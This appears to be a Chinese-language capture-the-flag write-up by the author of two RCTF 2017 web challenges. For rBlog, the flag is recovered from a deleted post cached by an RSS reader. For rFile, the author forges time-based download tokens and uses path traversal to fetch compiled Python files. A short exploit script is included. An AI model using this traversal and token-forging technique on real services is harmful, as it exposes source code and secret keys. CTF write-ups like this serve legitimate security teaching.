RCTF 2017 rBlog & rFile writeup

发表于 2017 年 5 月 23 日

To make it easier for foreign players to read, I try to use normative expressions and grammars in this writeup to make machine translations as accurate as possible and not puzzling. Google Translate is recommended!

为了方便外国选手阅读,我在这篇 writeup 中尽力使用规范的表述和语法,以让机器翻译尽可能得准确,不令人费解。

为了出好 RCTF 2017 的 web 题花了很多功夫,也因此收获了许多好评,好开心啊!

rBlog (13 solved)

曾经在一篇 writeup 发布后的第二天我修正了一处 typo ,但后来还是有朋友发截图来指出 typo ,我看了下 Feedly 上的订阅居然还是旧的内容。Google 搜索了一番我发现了这个结果

所以就有了这题 rBlog ……

从给出的源码中不难看出博客有 RSS 源,访问 /feed 会返回 static/atom.xml 的内容。
在添加文章时,传入的 markdown 格式的文本会被渲染成 HTML ,以文章的 id 作为文件名,被保存到 templates/posts/ 文件夹下,并且重新生成 atom.xml;在删除文章时,对应的 HTML 也会被删除,并且重新生成 atom.xml。

结合提示“There was a post on the blog containing the flag you want, but it has been deleted before the CTF starts.”可以知道 flag 是不可能在博客上被找到的。(我本应该在题目描述中说明 flag 位置的,而不是在提示里x_x)但如果它在删除前被第三方服务缓存了呢?著名的 archive.org 需要主动请求——并不大可能;Google 快照可能是一个方式,但在线 RSS 订阅服务对于个人博客来说或许是最好的缓存。

在许多在线 RSS 订阅服务中,我选择了比较流行的的 Feedly。在 Feedly 中输入博客的 RSS 源地址,就可以得到 flag 了:

rFile (6 solved)

rFile 是一个“反盗链”文件存储服务。通过分析 index.js 可知页面每 30 秒会请求 /api/download 来更新文件列表,api 返回的内容包括文件大小、文件名、修改时间,以及一个 token。下载文件时,会请求 /api/download/{token}/{filename} 。通过观察可以知道,每个文件每一分钟都会有一个不同的 token。

让我们试着将 sample.cpp 的下载请求中的文件名修改成一个存在的文件—— sample.c,会得到 “token expired”的提示。这说明服务端是根据 {filename} 来提供文件,并且 {filename} 很有可能参与了 {token} 的生成。由于 token 是每一分钟更新一次,我们猜测时间戳也参与了 token 的生成。通过 fuzz 可以得出 token = md5(timestamp + filename)

知道了 token 的生成方式,我们可以尝试通过读取文件,获得服务端的源代码。根据服务器发送的 HTTP 头中的 Server:gunicorn/19.7.1 ,我们猜测 rFile 有很大可能是 Python Web 应用。(后来也给出了 Hint 说明是 flask)

尝试读取当前目录中不存在的文件,会得到 “unknown error” ;尝试读取 ../__init__.py ,得到 “filetype not allowed”。如果你熟悉 Python Web 应用(尤其是 Python3),你一定会知道 __pycache__/ 这个目录。当前文件夹的 .py 文件生成的 .pyc 都会被存在这个目录中,并且以 .cpython-35.pyc 为扩展名(其中的 35 与 CPython 版本有关)。

我的 exp.py (Python3):

from hashlib import md5
from time import time
from json import dumps, loads
from urllib.parse import quote, unquote
import requests

url = 'http://rfile.2017.teamrois.cn/'
ts = int(time()) - 50
buf = -1
while buf<100:
	buf += 1
	filename = '../__pycache__/__init__.cpython-35.pyc'
	token = md5((str(ts+buf) + filename).encode('utf-8')).hexdigest()
	r = requests.get(url + '/api/download/%s/%s' % (token, quote(filename)), headers={'X-Requested-With': 'XMLHttpRequest'})
	print(r.content.decode('unicode_escape'))
	if loads(r.content.decode('unicode_escape'))['code'] == 1:
		r = requests.get(url + '/api/download/%s/%s' % (token, quote(filename)))
		print(r.content)
		break

读取 ../__pycache__/__init__.cpython-35.pyc ,然后使用 uncompyle6 反编译,得到 py 文件。然后我们发现 SECRET_KEY 是从同目录的 conf.py 中导入的。

flag 在 ../__pycache__/conf.cpython-35.pyc 中。